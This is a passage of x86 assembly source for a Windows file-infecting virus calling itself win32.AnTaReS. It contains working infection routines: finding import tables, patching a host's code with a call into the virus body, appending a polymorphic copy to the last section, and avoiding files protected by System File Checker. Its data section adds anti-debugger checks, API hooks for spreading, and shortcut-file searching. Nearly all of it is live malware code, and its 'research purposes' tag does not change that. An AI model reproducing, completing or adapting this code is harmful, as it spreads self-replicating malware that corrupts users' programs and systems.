	sub     eax,[esi+08h]
	cmp     edx,eax
	jc      IsImport@5
	sub     edx,[esi+0Ch]
	add     edx,[esi+14h]           ; Make rva->raw to import section
	add     edx,ebx
	mov     ecx,[edx]
	mov     eax,[esi+0Ch]           ; Check that the new rva points inside imports
	cmp     ecx,eax
	jc      IsImport@6
	add     eax,[esi+08h]
	cmp     ecx,eax
	jc      IsImport@7
IsImport@6:
	mov     eax,[@KernelBase+ebp]
	cmp     ecx,eax                 ; Check if points inside the kernel
	jc      IsImport@5
	mov     edx,[eax+3Ch]
	add     edx,eax
	add     eax,[edx+50h]
	cmp     ecx,eax
	jnc     IsImport@5
IsImport@7:
	popad                           ; Yep! we got it
	ret
IsImport@4:
	pop     edx
IsImport@5:
	popad
	xor     eax,eax                 ; Sth gone wrong... bad luck
	ret
IsImportTable endp

;#################################################################
;# Check Kernel Imports
;#	In: edi->PEHeader ebx->@FileAddr
;#	Out: eax=01h Error: eax=00h
;#################################################################
CheckKernelImports proc
	mov     esi,edi                 ; Go to the sections header
	mov     eax,[edi+74h]
	shl     eax,03h
	add     esi,78h
	add     esi,eax
	movzx   ecx,word ptr[edi+06h]   ; Take the number of sections
	mov     edx,[edi+80h]           ; Look for import section (with rva)
	or      edx,edx
	jz      CheckKernel@1
CheckKernel@2:
	mov     eax,[esi+0Ch]
	cmp     edx,eax
	jc      CheckKernel@3           ; Go on, and try with the next section
	add     eax,[esi+08h]
	cmp     edx,eax
	jc      CheckKernel@4           ; Is the Import section, go on
CheckKernel@3:
	add     esi,28h                 ; Try with the next one
	loop    CheckKernel@2
	jmp     CheckKernel@1           ; No more sections... error
CheckKernel@4:
	sub     edx,[esi+0Ch]
	add     edx,[esi+14h]
	add     edx,ebx                 ; Make rva->raw of import section
CheckKernel@5:
	mov     eax,[edx+0Ch]           ; Take the rva of import api name
	or      eax,eax                 ; Is the last one... agh!
	jz      CheckKernel@1
	mov     ecx,[esi+0Ch]
	cmp     eax,ecx
	jc      CheckKernel@6
	add     ecx,[esi+08h]           ; Check the rva points inside the imports
	cmp     eax,ecx
	jnc     CheckKernel@6
	sub     eax,[esi+0Ch]
	add     eax,[esi+14h]           ; Make rva->raw of import section
	add     eax,ebx
	mov     ecx,[eax]               ; Take the name and check it's Kernel32
	or      ecx,20202020h
	cmp     ecx,'nrek'
	jnz     CheckKernel@6
	mov     ecx,[eax+04h]
	or      ecx,20202020h
	cmp     ecx,'23le'
	jz      CheckKernel@7           ; Well... all under control
CheckKernel@6:
	add     edx,14h
	jmp     CheckKernel@5           ; Nop... try another selector
CheckKernel@7:
	xor     eax,eax
	inc     eax                     ; The file has kernel imports
	ret
CheckKernel@1:
	xor     eax,eax                 ; The file has not kernel imports
	ret
CheckKernelImports endp

;#################################################################
;# Patch Code Section
;#	In: esi=offset to Patch
;#	Out: No Output
;#################################################################
PatchCodeSection proc
	mov     edi,esi
	mov     eax,0E8h
	stosb                           ; Insert a call in code section
	mov     esi,[esp+04h]
	mov     ecx,[@OldDftVirusBegin+ebp]
	mov     edx,edi
	sub     edx,ebx
	sub     edx,[esi+14h]           ; Make it points to virus body
	add     edx,[esi+0Ch]
	add     edx,[@OldImageBase+ebp] ; We use a relative call
	sub     ecx,edx
	sub     ecx,04h
	mov     eax,ecx
	stosd                           ; Patch it now!
	ret
PatchCodeSection endp

;#################################################################
;# Do Infect Stuff
;#	In: eax->@FileAddr
;#	Out: eax=01h Error: eax=00h
;#################################################################
DoInfectStuff proc
	push    eax
	mov     edi,eax
	add     edi,[eax+3Ch]           ; Go to the Portable Exe header
	mov     ebx,eax
	call    CheckKernelImports      ; Check we have kernel imports
	or      eax,eax
	jz      DoInfectStuff@7
	mov     esi,edi
	add     esi,78h                 ; Jump the Optional header
	mov     eax,[edi+74h]
	shl     eax,03h
	add     esi,eax                 ; And the directory entry
	movzx   ecx,word ptr[edi+06h]   ; Get the number of sections
	xor     edx,edx
	mov     ebx,esi
DoInfectStuff@2:
	mov     eax,[esi+14h]
	cmp     edx,eax                 ; Looking for the last section
	ja      DoInfectStuff@1
	mov     edx,eax
	mov     ebx,esi
DoInfectStuff@1:
	add     esi,28h                 ; Nop, go to the next one
	loop    DoInfectStuff@2
	mov     esi,ebx
	mov     eax,[edi+34h]           ; Save the host image base
	mov     [@OldImageBase+ebp],eax
	mov     ebx,[esi+10h]
	mov     eax,[esi+24h]
	and     eax,10000000h           ; Check if the section is Shareable
	jnz     DoInfectStuff@7
	mov     eax,[@AlignFactor+ebp]
	shl     eax,01h
	mov     ecx,[@FindData.WFD_nFileSizeLow+ebp]
	sub     ecx,eax
	mov     eax,edx                 ; Check if the File have overloads
	add     eax,ebx
	cmp     eax,ecx
	jc      DoInfectStuff@7         ; Humm... an Instalation kit may be
	add     edx,ebx                 ;  skip this kind of file
	add     ebx,[esi+0Ch]           ; Calculate the virus default entry point
	add     ebx,[@OldImageBase+ebp] ;  and save it (the EP without relocations)
	mov     [@OldDftVirusBegin+ebp],ebx
	call    CreateCleanCopy         ; Create a clean copy of virus body
	or      eax,eax
	jz      DoInfectStuff@7
	pop     ebx                     ; Pop the File Address
	push    ebx
	call    DoEpoStuff              ; Make some Epo cheking / patching etc...
	or      eax,eax
	jz      DoInfectStuff@8         ; Error... host not valid
	push    esi edi
	mov     edi,[@VirusBuffer+ebp]
	add     edi,@DeltaCritical      ; Set some critical vars of new virus
	mov     eax,[@OldImageBase+ebp]
	stosd
	mov     eax,[@OldDftVirusBegin+ebp]
	stosd
	mov     eax,[@OldEpoCall+ebp]
	stosd                           ; Finish!
	mov     eax,[@OldCallType+ebp]
	stosd
	mov     edi,ebx
	add     edi,edx                 ; edi points to last section, to insert our virus
	mov     eax,9C60h               ; Patch in new virus place some pushad/pushfd
	stosw
	mov     esi,[@VirusBuffer+ebp]  ; New virus clean copy
	mov     ecx,@VirusBodySize      ; Virus Body Size ;)
	push    ebp
	mov     ebp,[@OldDftVirusBegin+ebp]
	inc     ebp                     ; Offset (rva+image base) of new virus copy
	inc     ebp
	call    poly
	pop     ebp
	inc     ecx
	inc     ecx
	mov     [@NewVirusSize+ebp],ecx
	call    DeleteCleanCopy         ; Free all allocated memory
	pop     edi esi
	mov     eax,[esi+10h]
	add     eax,[@NewVirusSize+ebp]
	mov     ecx,[@AlignFactor+ebp]
	call    Align
	mov     [esi+10h],eax           ; Change the SizeOfRawData
	mov     [esi+08h],eax           ;  and the VirtualSize
	add     eax,[esi+0Ch]
	mov     [edi+50h],eax           ; Update the ImageSize
	or      [esi+24h],0E0000020h    ; Make section write/read/code/executable
	mov     ebx,[esi+0Ch]
	mov     ecx,[edi+74h]
	xchg    esi,edi
	add     esi,78h
DoInfectStuff@3:
	lodsd
	cmp     eax,ebx                 ; Make some changes in directory struct
	jnz     DoInfectStuff@4         ;  now the last section has diferent size
	mov     eax,[edi+10h]
	mov     [esi],eax
	jmp     DoInfectStuff@5
DoInfectStuff@4:
	lodsd
	loop    DoInfectStuff@3
DoInfectStuff@5:
	mov     eax,[@FindData.WFD_nFileSizeLow+ebp]
	add	eax,[@NewVirusSize+ebp]
	mov	ecx,[@AlignFactor+ebp]
	call	Align
	mov	ecx,75h                 ; Calculate the new size of host
	call	Align
	mov     ecx,eax
	mov     [@NewHostSize+ebp],eax
	pop     esi
	mov     edi,esi
	add     edi,[esi+3Ch]
	mov     eax,[edi+58h]
	or      eax,eax                 ; Check if the file have a valid CheckSum
	jz      DoInfectStuff@6         ; If not go out
	call    CheckSumMappedFile      ; If yes... recalculate a new one
	mov     [edi+58h],eax
DoInfectStuff@6:
	xor     eax,eax                 ; No problem, file infected!
	inc     eax
	ret
DoInfectStuff@8:
	call    DeleteCleanCopy         ; Free all allocated memory
DoInfectStuff@7:
	mov     eax,[@FindData.WFD_nFileSizeLow+ebp]
	mov     ecx,71h
	call    Align                   ; Make different size padding with infected fails
	mov     ecx,eax
	mov     [@NewHostSize+ebp],eax
	pop     esi
	mov     edi,esi
	add     edi,[esi+3Ch]
	mov     eax,[edi+58h]
	or      eax,eax                 ; Check if the file have a valid CheckSum
	jz      DoInfectStuff@9   
	call    CheckSumMappedFile      ; If yes... recalculate a new one
	mov     [edi+58h],eax
DoInfectStuff@9:
	xor     eax,eax                 ; Ups... may be the next one
	ret
DoInfectStuff endp

;#################################################################
;# Is File Ok
;#	In: @FindData @FileHandle
;#	Out: eax=01h Error: eax=00h
;#################################################################
IsFileOk proc
	push    ebx edi
	lea     esi,[@FindData.WFD_szFileName+ebp]
	call    CheckSfc                ; Check if Sfc is present
	or      eax,eax                 ; If yes take care of protected files
	jz      IsFile@1
	push    esi
	call    [@GetFileAttributesA+ebp]
	inc     eax
	jz      IsFile@1                ; Get the file attributes
	dec     eax
	mov     [@FindData.WFD_dwFileAttributes+ebp],eax
	push    FILE_ATTRIBUTE_NORMAL   ; And change them to normal attributes
	push    esi
	call    [@SetFileAttributesA+ebp]
	or      eax,eax
	jz      IsFile@1
	call    CreateFile              ; Create File with read write access
	inc     eax
	jz      IsFile@2
	dec     eax
	mov     [@OpenHandle+ebp],eax   ; Save the open handle
	xor     ebx,ebx
	push    ebx
	push    eax
	call    [@GetFileSize+ebp]      ; Get the size of file
	inc     eax
	jz      IsFile@3
	dec     eax
	mov     [@FindData.WFD_nFileSizeLow+ebp],eax
	cmp     eax,4000h
	jb      IsFile@3                ; Avoid little programs
	cmp     eax,03E80000h           ;  and huge also
	ja      IsFile@3
	push    eax
	mov     ecx,75h                 ; Using size padding we look
	xor     edx,edx                 ;  if the file had been infected
	div     ecx
	pop     eax
	or      edx,edx
	jz      IsFile@3
	mov     ecx,71h                 ; Using size padding we look
	xor     edx,edx                 ;  if the file had been fail infected
	div     ecx
	or      edx,edx
	jz      IsFile@3
	lea     eax,[@FindData.WFD_ftLastWriteTime+ebp]
	push    eax
	sub     eax,08h                 ; Take the file time and save it
	push    eax                     ;  for later use
	sub     eax,08h
	push    eax
	push    [@OpenHandle+ebp]
	call    [@GetFileTime+ebp]
	or      eax,eax
	jz      IsFile@3
	mov     eax,[@OpenHandle+ebp]
	mov     edi,[@FindData.WFD_nFileSizeLow+ebp]
	xor     esi,esi
	call    FileMapping             ; Create a Map of File
	or      eax,eax
	jz      IsFile@4
	mov     [@MapHandle+ebp],eax    ; Save map handle
	call    MapViewOfFile           ; And mapping it into memory
	or      eax,eax
	jz      IsFile@5
	mov     [@FileAddr+ebp],eax     ; Save the mapped file address
	call    DoCheckStuff            ; Let's look into file for check
	or      eax,eax
	jz      IsFile@6
	mov     eax,[@FileAddr+ebp]     ; File ok? go and unmap it...
	call    UnmapViewOfFile
	mov     eax,[@MapHandle+ebp]
	call    CloseHandle             ; Close handle and set eax
	xor     eax,eax                 ; The infection process will go on
	inc     eax
	pop     edi ebx
	ret
IsFile@6:
	mov     eax,[@FileAddr+ebp]     ; Unmapping the file
	call    UnmapViewOfFile
IsFile@5:
	mov     eax,[@MapHandle+ebp]    ; Closing the handle
	call    CloseHandle
IsFile@4:
	lea     eax,[@FindData.WFD_ftLastWriteTime+ebp]
	push    eax
	sub     eax,08h                 ; Restore the initial file time
	push    eax
	sub     eax,08h
	push    eax
	push    [@OpenHandle+ebp]
	call    [@SetFileTime+ebp]
IsFile@3:
	mov     eax,[@OpenHandle+ebp]
	call    CloseHandle             ; Close the file create handle
IsFile@2:
	mov     eax,[@FindData.WFD_dwFileAttributes+ebp]
	push    eax                     ; Restore the initial file attributes
	lea     esi,[@FindData.WFD_szFileName+ebp]
	push    esi
	call    [@SetFileAttributesA+ebp]
IsFile@1:
	xor     eax,eax                 ; eax=NULL file not valid
	pop     edi ebx
	ret
IsFileOk endp

;#################################################################
;# Do Check Stuff
;#	In: eax->@FileAddr
;#	Out: eax=01h Error: eax=00h
;#################################################################
DoCheckStuff proc
	mov     edi,eax
	mov     ax,[edi]
	cmp     ax,'ZM'                 ; Have DOS stuff header?
	jnz     DoCheck@1
	mov     ax,[edi+18h]
	cmp     ax,40h                  ; Is a NewExe?
	jnz     DoCheck@1
	mov     eax,[edi+3Ch]
	add     edi,eax
	mov     ax,[edi]
	cmp     ax,'EP'                 ; Have a PortableExe header?
	jnz     DoCheck@1
	mov     ax,[edi+04h]
	cmp     ax,014Ch                ; For Intel386?
	jnz     DoCheck@1
	mov     ax,[edi+06h]
	cmp     ax,03h                  ; At least 3 sections
	jb      DoCheck@1
	mov     ax,[edi+14h]
	or      ax,ax                   ; Have an Optional Header?
	jz      DoCheck@1
	mov     eax,[edi+1Ch]
	or      eax,eax                 ; And a valid Code section?
	jz      DoCheck@1
	mov     eax,[edi+2Ch]
	or      eax,eax                 ; Have Code section, right?
	jz      DoCheck@1
	mov     ax,[edi+5Ch]
	dec     ax                      ; Check it is a Windows GUI app
	dec     ax
	jnz     DoCheck@1
	mov     eax,[edi+3Ch]           ; Save the AlignFactor
	mov     [@AlignFactor+ebp],eax
	xor     eax,eax
	inc     eax                     ; Ok, file is valid
	ret
DoCheck@1:
	xor     eax,eax                 ; Ups... try again
	ret
DoCheckStuff endp

;#################################################################
;# Check Sfc
;#	In: esi->FileName
;#	Out: eax=01h (No Sfc) Error: eax=00h (File Protected)
;#################################################################
CheckSfc proc
	mov     eax,[@SfcIsFileProtected+ebp]
	or      eax,eax                 ; Look if we have Sfc loaded
	jz      CheckSfc@1              ; If not skip and go on
	lea     edi,[@FindData.WFD_nFileSizeHigh+ebp]
	push    edi
	lea     edi,[@PathTwo+ebp]      ; Just get the full path of file
	push    edi
	push    MAX_PATH
	push    esi
	call    [@GetFullFilePathA+ebp]
	or      eax,eax
	jz      CheckSfc@2
	mov     esi,edi
	lea     edi,[@PathSfc+ebp]
	call    Asciiz2Unicode          ; Make the path unicode
	push    edi                     ;  and check if the file is protected
	push    eax
	call    [@SfcIsFileProtected+ebp]
	or      eax,eax
	jz      CheckSfc@1              ; If protected file, try with other one
CheckSfc@2:
	xor     eax,eax                 ; Ups! we have Sfc... take care
	ret                             ;  with protected files
CheckSfc@1:
	inc     eax                     ; If not protected... you know what
	ret
CheckSfc endp

include ..\Source\ETMS.inc              ; Expressway To My Skull [ETMS] by b0z0/iKX

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;#################################################################
;# Virus Data (win32.AnTaReS)
;#################################################################
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

;#################################################################
;# Var for Virus Main Body
;#################################################################
@Critical:
@ImageBase              dd      00400000h           ; Hardcoded ImageBase
@DefaultVirusBegin      dd      offset @VirusBegin  ; Hardcoded VirusBegin
@EpoCall                dd      00406054h           ; Hardcoded offset of MessageBoxA in Import table
@CallType               dd      00000000h           ; Tasm calls for 1st gen
@KernelBase             dd      ?
@AlignFactor            dd      ?                   ; Some Main vars
@NewHostSize            dd      ?
@NewVirusSize           dd      ?
@OldImageBase           dd      ?                   ; Vars for Infection proc
@OldDftVirusBegin       dd      ?
@OldEpoCall             dd      ?                   ; Vars for Epo Stuff
@OldCallType            dd      ?
@PatchOffset            dd      ?                   ; Offset to patch (epo routine)
@Random                 dd      ?                   ; Random value
@VirusBuffer            dd      ?                   ; Buffer for a new virus clean copy

;#################################################################
;# Var for Anti Debug
;#################################################################
@SoftIceA       db      '\\.\SICE',0
@SoftIceB       db      '\\.\NTICE',0

;#################################################################
;# Var for File Handle
;#################################################################
@OpenHandle     dd      ?               ; Handle of open file
@MapHandle      dd      ?               ; Handle of file map
@FileAddr       dd      ?               ; Base Addr of mapped file

;#################################################################
;# Var for Load Sfc Library
;#################################################################
@SfcIsFileProtectedN    db      'SfcIsFileProtected',0
@SfcIsFileProtected     dd      ?       ; Classic vars

;#################################################################
;# Var for GetAllApiAddress
;#################################################################
@OrdinalTable   dd      ?               ; Ordinal Table Addr
@AddressTable   dd      ?               ; Address Table Addr
@NameTable      dd      ?               ; Name Table Addr
@NumberNames    dd      ?               ; Number of apis imported by name

;#################################################################
;# Var for Find Direct Action
;#################################################################
@PathOne        db      MAX_PATH dup (?)
@PathTwo        db      MAX_PATH dup (?)
@FindData       WIN32_FIND_DATA ?       ; Find File Struct
@FindMask       db      '*.*',0         ; General Mask (all kind of files)
@FindHandle     dd      ?               ; The Find Handle

;#################################################################
;# Var for Find Link Files
;#################################################################
@SubKey         db      'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
@RegName        db      'Desktop',0     ; Some values like the SubKey, type and name
@RegType        db      'REG_SZ',0
@FindLink       db      '*.LNK',0       ; For FindFirst / FindNext
@RegSize        dd      MAX_PATH        ; The Buffer size
@RegHandle      dd      ?               ; Handle of open register

;#################################################################
;# Var for Payload
;#################################################################
@SystemTime     SYSTEMTIME      ?       ; For payload use
@Xcoord         dd      ?               ; Coord of screen center
@Ycoord         dd      ?
@DeviceCtx      dd      ?               ; Some handles
@HandleIcon     dd      ?
@Degrees        dd      ?
@Const          dd      000000B4h       ; 180... for radians/degrees conversion
@Radius         dd      00000070h       ; Radius of circles
@Result         dd      ?

;#################################################################
;# Var for Per Process
;#################################################################
@OffsetsHookStruct:
@HookApi1       dd      offset HookCreateFileA         ; Offsets of the hooking process
@HookApi2       dd      offset HookMoveFileA
@HookApi3       dd      offset HookCopyFileA
@HookApi4       dd      offset HookCreateProcessA
@HookApi5       dd      offset HookSetFileAttributesA
@HookApi6       dd      offset HookGetFileAttributesA
@HookApi7       dd      offset HookSearchPathA

;#################################################################
;# Var for Load New Library
;#################################################################
@Advapi32N      db      'ADVAPI32.DLL',0 ; Name of Libraries we need
@User32N        db      'USER32.DLL',0
@SfcN           db      'SFC.DLL',0

;#################################################################
;# Struct Apis Crc32 (ADVAPI32.DLL)
;#################################################################
@Advapi32:
CrcRegOpenKeyExA        dd      0CD195699h
@RegOpenKeyExA          dd      ?
CrcRegQueryValueExA     dd      088B7093Bh
@RegQueryValueExA       dd      ?
CrcRegCloseKey          dd      0841802AFh
@RegCloseKey            dd      ?
                        db      0EEh

;#################################################################
;# Struct Apis Crc32 (USER32.DLL)
;#################################################################
@User32:
CrcGetDC                dd      0BAD76D5Bh
@GetDC                  dd      ?
CrcReleaseDC            dd      0CBB05455h
@ReleaseDC              dd      ?
CrcGetSystemMetrics     dd      0EADFEB07h
@GetSystemMetrics       dd      ?
CrcLoadIconA            dd      0B9C520FCh
@LoadIconA              dd      ?
CrcDrawIcon             dd      074610281h
@DrawIcon               dd      ?
CrcMessageBeep          dd      0654BBB02h
@MessageBeep            dd      ?
                        db      0EEh

;#################################################################
;# Struct Apis Crc32
;#################################################################
@ApisCrc32:
CrcGlobalAlloc          dd      083A353C3h
@GlobalAlloc            dd      ?
CrcGlobalFree           dd      05CDF6B6Ah
@GlobalFree             dd      ?
CrcGetFileSize          dd      0EF7D811Bh
@GetFileSize            dd      ?
CrcGetFileTime          dd      04434E8FEh
@GetFileTime            dd      ?
CrcSetFileTime          dd      04B2A3E7Dh
@SetFileTime            dd      ?
CrcGetFullFilePathA     dd      08F48B20Dh
@GetFullFilePathA       dd      ?
CrcGetModuleHandleA     dd      082B618D4h
@GetModuleHandleA       dd      ?
CrcGetTickCount         dd      0613FD7BAh
@GetTickCount           dd      ?
CrcFindFirstFileA       dd      0AE17EBEFh
@FindFirstFileA         dd      ?
CrcFindNextFileA        dd      0AA700106h
@FindNextFileA          dd      ?
CrcGetCurrentProcess    dd      003690E66h
@GetCurrentProcess      dd      ?
CrcWriteProcessMemory   dd      00E9BBAD5h
@WriteProcessMemory     dd      ?
CrcCloseHandle          dd      068624A9Dh
@CloseHandle            dd      ?
CrcCreateFileMappingA   dd      096B2D96Ch
@CreateFileMappingA     dd      ?
CrcFindClose            dd      0C200BE21h
@FindClose              dd      ?
CrcFreeLibrary          dd      0AFDF191Fh
@FreeLibrary            dd      ?
CrcGetCurrentDirectoryA dd      0EBC6C18Bh
@GetCurrentDirectoryA   dd      ?
CrcGetProcAddress       dd      0FFC97C1Fh
@GetProcAddress         dd      ?
CrcGetSystemDirectoryA  dd      0593AE7CEh
@GetSystemDirectoryA    dd      ?
CrcGetSystemTime        dd      075B7EBE8h
@GetSystemTime          dd      ?
CrcGetWindowsDirectoryA dd      0FE248274h
@GetWindowsDirectoryA   dd      ?
CrcLoadLibraryA         dd      04134D1ADh
@LoadLibraryA           dd      ?
CrcMapViewOfFile        dd      0797B49ECh
@MapViewOfFile          dd      ?
CrcSetEndOfFile         dd      059994ED6h
@SetEndOfFile           dd      ?
CrcSetFilePointer       dd      085859D42h
@SetFilePointer         dd      ?
CrcSetCurrentDirectoryA dd      0B2DBD7DCh
@SetCurrentDirectoryA   dd      ?
CrcUnmapViewOfFile      dd      094524B42h
@UnmapViewOfFile        dd      ?
@ApisCrc32Hooks:
CrcCreateFileA          dd      08C892DDFh
@CreateFileA            dd      ?
CrcMoveFileA            dd      02308923Fh
@MoveFileA              dd      ?
CrcCopyFileA            dd      05BD05DB1h
@CopyFileA              dd      ?
CrcCreateProcessA       dd      0267E0B05h
@CreateProcessA         dd      ?
CrcSetFileAttributesA   dd      03C19E536h
@SetFileAttributesA     dd      ?
CrcGetFileAttributesA   dd      0C633D3DEh
@GetFileAttributesA     dd      ?
CrcSearchPathA          dd      0F4D9D033h
@SearchPathA            dd      ?
                        db      0EEh

@CopyLeft       db      'win32.AnTaReS by PiKaS (only for research purposes)',0
;#################################################################
;# Var for Virus Core
;#################################################################
@PathSfc        dw      MAX_PATH dup (?)  ; Just a huge buffer
@VirusEnd:

        end     HostStart

;#################################################################
;# Metropolis-PartI:The Miracle And The Sleeper (DreamTheater)
;####################################[Win32.AnTaReS by PiKaS]#####
